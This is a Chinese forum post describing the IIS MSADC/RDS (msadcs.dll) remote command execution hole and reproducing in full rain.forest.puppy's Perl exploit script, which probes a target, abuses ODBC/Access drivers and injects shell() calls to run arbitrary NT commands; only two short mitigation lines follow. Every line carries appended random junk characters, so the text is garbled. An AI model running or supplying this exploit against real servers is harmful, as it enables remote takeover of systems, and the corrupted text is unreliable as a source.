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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ?5#=Mh#  
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涉及程序: <6)  w  
Microsoft NT server lg!{?xM  
l#G }j^Q  
描述: #3o]Qo[Sc  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Rooem dCM  
kVu-,OU  
详细: Al(u|LbQ  
如果你没有时间读详细内容的话,就删除: :i_k A'dl&  
c:\Program Files\Common Files\System\Msadc\msadcs.dll .4-I^W"1  
有关的安全问题就没有了。 zO07X*Bw  
(6S f#M  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^XQr`CqI  
Uv"GG: K_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 niIjatT  
关于利用ODBC远程漏洞的描述,请参看: 1GL@t?S  
W!G2$e6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pr(16P  
>{]mN5  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 qg;f h]j%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp _Ak?i\  
T c{]w?V  
这里不再论述。 =2=n   
Q9 * N/2+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1@Zjv>jy[  
wh<s#q`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ] x_WO_  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Aa;s.:?  
32*FISH^  
'ehJr/0&g  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,3{z_Rax-  
n/3gx4.g  
#!perl t"@: a Y"  
#  *R6n+d  
# MSADC/RDS 'usage' (aka exploit) script (mJqI)m8  
# H.ZmLB  
# by rain.forest.puppy ,~_)Cf#CB  
# F+@E6I'g  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me G;%Pf9 o26  
# beta test and find errors! 6T_Mk0Sf+  
buhn~ c  
use Socket; use Getopt::Std; F" -w  
getopts("e:vd:h:XR", \%args); @9QtK69  
Bjz\L0d  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; s2@}01QPo  
_~`\TS8  
if (!defined $args{h} && !defined $args{R}) { ]<;m;/ H  
print qq~ Svmyg]  
Usage: msadc.pl -h <host> { -d <delay> -X -v } T$'GFA  
-h <host> = host you want to scan (ip or domain) ?wR;"  
-d <seconds> = delay between calls, default 1 second wxg`[c$:  
-X = dump Index Server path table, if available RJ_ratKN*g  
-v = verbose <(Wa8PY2(  
-e = external dictionary file for step 5 <M1XG7_I  
g& *pk5V>  
Or a -R will resume a command session X]Emz"   
dsP1Zq  
~; exit;} !(hP{k ^g  
cmIAWFj-)e  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4C ;4"6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _F *(" o  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }Vpr7_  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); OKp(A  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} IA|V^Wmt;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } pX]*&[X?  
{37DrSOa  
if (!defined $args{R}){ $ret = &has_msadc; *a@pZI0'  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} .Jz$)R  
rSD!u0c [  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" |Mp_qg?g  
. "cmd /c "; j:0VtJo~  
$in=<STDIN>; chomp $in; =>hq0F4[;  
$command="cmd /c " . $in ; WG;1[o&  
j}chU'i f  
if (defined $args{R}) {&load; exit;} W&]grG2/  
Z3G>DF:$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <4y1[/S  
&try_btcustmr; -0Q:0wU  
0:**uion  
print "\nStep 2: Trying to make our own DSN..."; 7;C9V`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; hltH{4  
TD-d5P^Kek  
print "\nStep 3: Trying known DSNs..."; !b*lL#s,Y  
&known_dsn; Oah}7!a)  
S zOB{  
print "\nStep 4: Trying known .mdbs..."; }}?L'Vby  
&known_mdb; A>$VkGo  
:YB:)wV,P  
if (defined $args{e}){ ML0o :8Bd\  
print "\nStep 5: Trying dictionary of DSN names..."; Etj*3/n|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } A^JeB<, 5a  
B7TA:K  
print "Sorry Charley...maybe next time?\n"; 2C %{A  
exit; Y$EqBN  
RC8{QgaI  
############################################################################## *&B*/HAN  
:x97^.eW~  
sub sendraw { # ripped and modded from whisker ,SJB 3if  
sleep($delay); # it's a DoS on the server! At least on mine... .bvB8VOrW  
my ($pstr)=@_; ^"ywltW>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~fs{Ff'  
die("Socket problems\n"); f3-=?Z  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9c806>]U^  
select(S); $|=1; @3[Z Q F  
print $pstr; my @in=<S>; pCA(>(  
select(STDOUT); close(S); r]km1SrS  
return @in; A5Yfm.Jy  
} else { die("Can't connect...\n"); }} O!sZMGF$p  
]?^m;~MQZ  
############################################################################## E/(:\Cm^  
KS'? DO  
sub make_header { # make the HTTP request :9c QK]O6  
my $msadc=<<EOT Mno4z/4{A  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~,Q+E8  
User-Agent: ACTIVEDATA K(Otgp+zb  
Host: $ip C$)#s{*  
Content-Length: $clen !l_ 1r$  
Connection: Keep-Alive A75IG4]  
Y-n* K'  
ADCClientVersion:01.06 IQdiVj  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D<}KTyG]  
v4(!~S  
--!ADM!ROX!YOUR!WORLD! Gw3|"14  
Content-Type: application/x-varg Qm,|'y:Tg  
Content-Length: $reqlen Rs8`M8(4%  
Ol"p^sqwj  
EOT vN 7a)s  
; $msadc=~s/\n/\r\n/g; .0#?u1gXsX  
return $msadc;} b}o^ ?NtA  
6+FmYp  
############################################################################## 1d|+7  
1I KDp]SN  
sub make_req { # make the RDS request iO3@2J  
my ($switch, $p1, $p2)=@_; 6ndt1W z  
my $req=""; my $t1, $t2, $query, $dsn; j$zw(EkN  
" 9 h]P^  
if ($switch==1){ # this is the btcustmr.mdb query vhZpYW8  
$query="Select * from Customers where City=" . make_shell(); V?HC\F-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . fT/;TK>z>  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2M= gpy  
_7]* 5Pxo  
elsif ($switch==2){ # this is general make table query j* g5f  
$query="create table AZZ (B int, C varchar(10))"; 2@1A,  
$dsn="$p1";} sju. `f>-r  
{Rjj  
elsif ($switch==3){ # this is general exploit table query s{KwO+UW  
$query="select * from AZZ where C=" . make_shell(); RMmDcvM"k  
$dsn="$p1";} # o)a`,f  
N4}/n  
elsif ($switch==4){ # attempt to hork file info from index server Z|uUE   
$query="select path from scope()"; &BCl>^wn}  
$dsn="Provider=MSIDXS;";} 5>"$95D  
DK&J"0jz,  
elsif ($switch==5){ # bad query LnxJFc:1K  
$query="select"; Wze\z  
$dsn="$p1";} CP'?Om2  
br>"96A1l  
$t1= make_unicode($query); E*.D_F  
$t2= make_unicode($dsn); _%;$y5]v  
$req = "\x02\x00\x03\x00"; }X)mZyM[  
$req.= "\x08\x00" . pack ("S1", length($t1)); i=.zkIjSh  
$req.= "\x00\x00" . $t1 ; Cz+>S3v M  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6jiVz%`=Z  
$req.= "\x00\x00" . $t2 ; 8"LvkN/v^  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; |9jeOV}/  
return $req;} :|M0n%-X  
YT}m 8Y  
############################################################################## vEvVT]g[V  
l^%Ez?-:s  
sub make_shell { # this makes the shell() statement /'u-Fr(Q+  
return "'|shell(\"$command\")|'";} tV9nC   
SI*O#K=w  
############################################################################## <E|i3\[p  
:o&qJ%  
sub make_unicode { # quick little function to convert to unicode C\j|+s  
my ($in)=@_; my $out; 60*2k  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Aj;Z &  
return $out;} ]P<u^ `{*  
^hq`dr|R=  
############################################################################## u8v;O}#  
a"0Xam  
sub rdo_success { # checks for RDO return success (this is kludge) S j)&!  
my (@in) = @_; my $base=content_start(@in); e54wAypPOl  
if($in[$base]=~/multipart\/mixed/){ BYyR-m  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} vp 1IYW  
return 0;} s6lo11  
A|I7R -  
############################################################################## T'  %TMA  
|#LU"D  
sub make_dsn { # this makes a DSN for us vtKQvQ  
my @drives=("c","d","e","f"); `-"2(Gp  
print "\nMaking DSN: "; _)yn6M'Dt  
foreach $drive (@drives) { vXAO#'4tm%  
print "$drive: "; 6UG7lH!M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . =66dxU?}  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" '0[D-jEr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); E;*#fD~@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; !=3[Bm G  
return 0 if $2 eq "404"; # not found/doesn't exist >_jT.d  
if($2 eq "200") { JZNRMxu  
foreach $line (@results) { 7$b!-I+ a2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} BRPvBs?Q,{  
} return 0;} s% 2w&Us*  
IKMkpX!]  
############################################################################## R7r` (c!  
HJo&snT3  
sub verify_exists { :$~)i?ge<5  
my ($page)=@_; Jajo!X*Wai  
my @results=sendraw("GET $page HTTP/1.0\n\n"); }KEyJj3"DA  
return $results[0];} b lP@Cn2  
|,c QJ  
############################################################################## Fo=Icvo  
g'ha7~w(p  
sub try_btcustmr { s3>,%8O6  
my @drives=("c","d","e","f"); ] +<[D2f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R?b3G4~  
1N{}G$'Go  
foreach $dir (@dirs) { 5 >S #ew  
print "$dir -> "; # fun status so you can see progress =&;orP  
foreach $drive (@drives) { ]B/Gz  
print "$drive: "; # ditto zRd^Uks  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; o|YY,G=C  
$reqlenlen=length( "$reqlen" ); (/UW}$] h  
$clen= 206 + $reqlenlen + $reqlen; Hm!ffqO_  
:hr% 6K7  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); dl mF?N|EC  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} [KR|m,QWp  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;gLHSHEA  
n!z7N3Ak>  
############################################################################## 2#1"(m{  
B9^ @d  
sub odbc_error { |T\`wcP`q  
my (@in)=@_; my $base; r"sK@  
my $base = content_start(@in); (KtuikJ32^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 2fFZ70Yh  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n}/?nP\%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ezsb'cUa(  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'APtY;x^{  
return $in[$base+4].$in[$base+5].$in[$base+6];} bnHQvCO3$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; :>4pH  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]CHO5'%,$  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1BK!<}yI{  
h+=xG|1R[5  
############################################################################## v EppkS U1  
-< D7  
sub verbose { yw2Mr+9I  
my ($in)=@_; $c"byQ[3S  
return if !$verbose; 9'nM$ a  
print STDOUT "\n$in\n";} N3dS%F,_  
2[!#Xf  
############################################################################## hEUS&`K  
Z>hS&B  
sub save { ZeM~13[  
my ($p1, $p2, $p3, $p4)=@_; [d 30mVM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Sggha~E2s  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; KZrg4TEVi  
close OUT;} & \tD$g~"  
7[z^0?Pygf  
############################################################################## 5:y\ejU  
S:2M9nC  
sub load { _=0%3Sh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; )45~YDS;t  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); cHo@F!{o=  
@p=<IN>; close(IN); @uA=v/>+  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); O?\UPNb:K  
$target= inet_aton($ip) || die("inet_aton problems"); j11FEE<W  
print "Resuming to $ip ..."; mV!Ia-k  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )S?.YCv?  
if($p[1]==1) { 6d~[j <@2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; N{+6V`\  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; :&SvjJR  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); p G|-<6WY  
if (rdo_success(@results)){print "Success!\n";} ~EIK  
else { print "failed\n"; verbose(odbc_error(@results));}} z`g4<  
elsif ($p[1]==3){ V /i~IG`h/  
if(run_query("$p[3]")){ T:FaD V{  
print "Success!\n";} else { print "failed\n"; }} )/4eT\=  
elsif ($p[1]==4){ a(.q=W  
if(run_query($drvst . "$p[3]")){ &[ oW"Q{  
print "Success!\n"; } else { print "failed\n"; }} 1. A@5*Q  
exit;} 6=N!()s  
RJ}%pA4I  
############################################################################## yM,.{m@F<  
. -ihxEbzr  
sub create_table { qmmQH S  
my ($in)=@_; ^.3(o{g  
$reqlen=length( make_req(2,$in,"") ) - 28; )<ig6b%  
$reqlenlen=length( "$reqlen" ); U$,-F**  
$clen= 206 + $reqlenlen + $reqlen; m[aBHA^g  
my @results=sendraw(make_header() . make_req(2,$in,"")); iA.:{^_)09  
return 1 if rdo_success(@results); YQ? "~[mL  
my $temp= odbc_error(@results); verbose($temp); ycD.X"  
return 1 if $temp=~/Table 'AZZ' already exists/; 9 +1}8"~  
return 0;} #*;G8yV  
uwI$t[  
############################################################################## s!73To}>  
:O?+Ywn  
sub known_dsn { UP<B>Y1a  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \7V[G6'{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Sb QM!Q  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", RnV#[bM{  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); MZIZ"b  
#(pY~\  
foreach $dSn (@dsns) { K92nh/}y  
print "."; 6(pa2  
next if (!is_access("DSN=$dSn")); gh9Gc1tKt  
if(create_table("DSN=$dSn")){ Pzt 5'O@dA  
print "$dSn successful\n"; \9t/*%:  
if(run_query("DSN=$dSn")){ idzc4jR6BT  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  " fXs!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Pk ?M~{S  
E+Eug{+  
############################################################################## WRCf [5  
a~*wZJ  
sub is_access { .@KI,_X6,  
my ($in)=@_; oaac.7.fV  
$reqlen=length( make_req(5,$in,"") ) - 28; Jb;@'o6  
$reqlenlen=length( "$reqlen" ); 7&`Yl[G  
$clen= 206 + $reqlenlen + $reqlen; c`Q#4e]%_  
my @results=sendraw(make_header() . make_req(5,$in,"")); z(!K8 T  
my $temp= odbc_error(@results); O'rz  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ,gO(zI-1  
return 0;} O[Yc-4  
F_I.=zQr  
############################################################################## ,DL%oQR  
Cl>|*h+m  
sub run_query { zp'Vn7  
my ($in)=@_; qV{iUtYt  
$reqlen=length( make_req(3,$in,"") ) - 28; g:oB j6$ q  
$reqlenlen=length( "$reqlen" ); j{$2.W$  
$clen= 206 + $reqlenlen + $reqlen; E"<-To  
my @results=sendraw(make_header() . make_req(3,$in,"")); <`)vp0  
return 1 if rdo_success(@results); 2#81oz&K  
my $temp= odbc_error(@results); verbose($temp); ~J:qG9|]}  
return 0;} zhZ!!b^6<  
@@W-]SR  
############################################################################## SX)o0v+  
=D3K})&  
sub known_mdb { 2F&VG|"  
my @drives=("c","d","e","f","g"); 9Zj9e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jp+s[rRc\{  
my $dir, $drive, $mdb; L#k`>Qn2  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]q`'l_O  
g0-~ %A,  
# this is sparse, because I don't know of many <Z j>}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @ JfQ}`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 'O^<i`8U]  
"\\system32\\certmdb.mdb", *";O_ :C!  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% k0bDEz.X  
Ud:;kI%Vj  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ThiM6Hb  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U[O7}Nsb"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", o_C]O"  
"\\cfusion\\cfapps\\security\\realm_.mdb",  (z.4er}o  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", eWGaGRem  
"\\cfusion\\database\\cfexamples.mdb", ET0^_yk  
"\\cfusion\\database\\cfsnippets.mdb", AfT;IG%Gt  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ) :VF^"  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Y52TC@'  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5~FXy{ZIH  
"\\cfusion\\database\\smpolicy.mdb", /B!Ik:c}  
"\\cfusion\\database\cypress.mdb", ?s5/  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .+A2\F.^  
"\\website\\cgi-win\\dbsample.mdb", o?| ]ciY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", G  L-Pir  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" nN%Zed2O@6  
); #these are just Pi5($cn  
foreach $drive (@drives) { SG@E*yT1  
foreach $dir (@dirs){ fq?MnWc  
foreach $mdb (@sysmdbs) { bH}?DMq]O  
print "."; w 6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ dZkj|Ua~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; P`L, eYc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ePo :::  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; LEd@""h  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _ SJ Fuv/  
G-[.BWQ   
foreach $drive (@drives) { Ex+E66bE  
foreach $mdb (@mdbs) { EkpM'j=  
print "."; KY+BXGW*  
if(create_table($drv . $drive . $dir . $mdb)){ h4E[\<?  
print "\n" . $drive . $dir . $mdb . " successful\n"; MLvd6tIv,  
if(run_query($drv . $drive . $dir . $mdb)){ kYZj^tR  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HhB&vi  
} else { print "Something's borked. Use verbose next time\n"; }}}} "IJ 9vXI  
} tjJi|  
av"dJm  
############################################################################## |t6:4']  
=X3Rk)2r  
sub hork_idx { |"+UCAU  
print "\nAttempting to dump Index Server tables...\n"; CwaW>(`v  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; u= Vt3%q  
$reqlen=length( make_req(4,"","") ) - 28; o(stXa  
$reqlenlen=length( "$reqlen" ); J+ uz{  
$clen= 206 + $reqlenlen + $reqlen; gaU(ebsE  
my @results=sendraw2(make_header() . make_req(4,"","")); iE#I^`^V  
if (rdo_success(@results)){ ;m~%57.;\  
my $max=@results; my $c; my %d; s x2\  
for($c=19; $c<$max; $c++){ +[":W?j  
$results[$c]=~s/\x00//g; 7|DPevrk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; [5-3PuT&9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $T7(AohR  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H`OJN .  
$d{"$1$2"}="";} (9KiIRN   
foreach $c (keys %d){ print "$c\n"; } TJ>$ ~9&Sy  
} else {print "Index server doesn't seem to be installed.\n"; }} ldWrv7. P  
J\E?rT  
############################################################################## ^wD@)Dz  
RG6U~o1  
sub dsn_dict { ,.i)(Or  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); #{g6'9PMz  
while(<IN>){ YhO-ecN  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; E`#/m@:|-  
next if (!is_access("DSN=$dSn")); @n;$Edza/  
if(create_table("DSN=$dSn")){ ]6].l$%z#  
print "$dSn successful\n"; ~\UAxB=  
if(run_query("DSN=$dSn")){ $ S]l%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ' 1D1y'  
print "Something's borked. Use verbose next time\n";}}} 7e=s`j  
print "\n"; close(IN);} rLE5fl5W  
5@^['S4%8*  
############################################################################## _n+ 5{\z  
-'uz%2 {  
sub sendraw2 { # ripped and modded from whisker cd.|>  
sleep($delay); # it's a DoS on the server! At least on mine... lbm ,#  
my ($pstr)=@_; 6Ao{Aej|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || xeW}`i5_w  
die("Socket problems\n"); evlz R/  
if(connect(S,pack "SnA4x8",2,80,$target)){ uF\ ;m.  
print "Connected. Getting data"; XXy &1C  
open(OUT,">raw.out"); my @in; m^KK #Hw/`  
select(S); $|=1; print $pstr; ;uaZp.<um&  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} O0QK `F/)*  
close(OUT); select(STDOUT); close(S); return @in; S8Yti  
} else { die("Can't connect...\n"); }} M,g$  
.9!?vz]1  
############################################################################## S?u@3PyJm  
cIg+^Tl  
sub content_start { # this will take in the server headers qsHjqK@(  
my (@in)=@_; my $c; /{!?e<N>  
for ($c=1;$c<500;$c++) { 0[R7HX-@  
if($in[$c] =~/^\x0d\x0a/){ w0,rFWS  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~ekV*,R"  
else { return $c+1; }}} 7;SI=  
return -1;} # it should never get here actually '5}@# Mi  
jd+ U+8r  
############################################################################## @QAI 0ZY  
-op(26:W<  
sub funky { UgD&tD0fp  
my (@in)=@_; my $error=odbc_error(@in); I2)#."=Ew  
if($error=~/ADO could not find the specified provider/){ j'q Iq;y  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7i88iT  
exit;} Q6hWHfS  
if($error=~/A Handler is required/){ dReJ;x4  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]::g-&%Um  
exit;} `:kI@TPI_C  
if($error=~/specified Handler has denied Access/){ HB9|AQ4K  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~JTp8E9kw  
exit;}} l [ Navw  
/EV _Y|(-  
############################################################################## O_^;wey0}?  
?U(`x6\:  
sub has_msadc { ?btZdnQ))S  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #_'| TT>p#  
my $base=content_start(@results); '<Jqp7$dL  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qx`)M3Mu|<  
return 0;} f~{4hVA  
E\vW>g*W  
######################## />dYkIv  
xnPi'?A]  
W6jdS;3  
解决方案: m[D]4h9  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll >tTu1#t  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 M7\yEi"*  
y\zRv(T=  
拿出来充数 哈哈
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